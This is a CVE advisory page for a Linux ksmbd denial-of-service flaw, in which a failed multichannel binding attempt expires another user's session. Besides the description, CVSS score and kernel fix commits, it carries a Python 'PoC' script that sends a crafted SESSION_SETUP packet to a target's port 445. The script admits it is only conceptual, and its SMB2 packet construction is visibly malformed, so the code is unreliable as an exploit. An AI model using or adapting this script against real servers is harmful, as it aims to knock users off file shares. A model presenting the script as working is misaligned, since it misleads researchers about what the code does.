CVE-2026-31476

Description

In the Linux kernel, the following vulnerability has been resolved: ksmbd: do not expire session on binding failure When a multichannel session binding request fails (e.g. wrong password), the error path unconditionally sets sess->state = SMB2_SESSION_EXPIRED. However, during binding, sess points to the target session looked up via ksmbd_session_lookup_slowpath() -- which belongs to another connection's user. This allows a remote attacker to invalidate any active session by simply sending a binding request with a wrong password (DoS). Fix this by skipping session expiration when the failed request was a binding attempt, since the session does not belong to the current connection. The reference taken by ksmbd_session_lookup_slowpath() is still correctly released via ksmbd_user_session_put().

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (ksmbd enabled) prior to commit 1d1888b4a7aec518b707f6eca0bf08992c0e8da3

Linux Kernel (ksmbd enabled) prior to commit 6fafc4c4238e538969f1375f9ecdc6587c53f1cc

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-31476: ksmbd Session Expiration DoS
# This script demonstrates sending a malformed binding request to invalidate a session.
# Note: This is a conceptual demonstration based on the vulnerability description.

import socket
import struct

def send_malformed_smb_packet(target_ip, target_port=445):
    """
    Sends a specially crafted SMB2 SESSION_SETUP request to trigger the binding failure.
    """
    try:
        # Establish TCP connection
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        
        # SMB2 Negotiate Protocol Request (Simplified header)
        smb2_header = b'\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        
        # Send Negotiate to setup session context
        sock.send(smb2_header)
        sock.recv(1024) # Receive response

        # Craft SMB2 SESSION_SETUP Request for Binding
        # Structure: NetBIOS Session Service + SMB2 Header + Session Setup Request
        # Intentionally use wrong password/credentials to trigger the error path
        session_setup_req = struct.pack('<I', 64) # NetBIOS length
        session_setup_req += b'\x00' * 4 # SMB2 Header credits etc.
        session_setup_req += struct.pack('<H', 0x01) # OpCode: SESSION_SETUP
        session_setup_req += b'\x00' * (64 - len(session_setup_req)) # Padding
        
        # In a real exploit, specific flags and Session ID would be set to target a specific user
        print(f"[*] Sending malformed binding request to {target_ip}...")
        sock.send(session_setup_req)
        
        print("[+] Packet sent. If vulnerable, the target session should be expired.")
        sock.close()
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "192.168.1.10" # Replace with target IP
    send_malformed_smb_packet(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31476
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31476
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31476/
[4] VulDB https://vuldb.com/cve/CVE-2026-31476
[5] https://git.kernel.org/stable/c/1d1888b4a7aec518b707f6eca0bf08992c0e8da3
[6] https://git.kernel.org/stable/c/6fafc4c4238e538969f1375f9ecdc6587c53f1cc
[7] https://git.kernel.org/stable/c/9bbb19d21ded7d78645506f20d8c44895e3d0fb9
[8] https://git.kernel.org/stable/c/a897064a457056acb976e20e3007cdf553de340f
[9] https://git.kernel.org/stable/c/e0e5edc81b241c70355217de7e120c97c3429deb
[10] https://git.kernel.org/stable/c/f5300690c23c5ac860499bb37dbc09cf43fd62e6

Raw JSON Data

JSON

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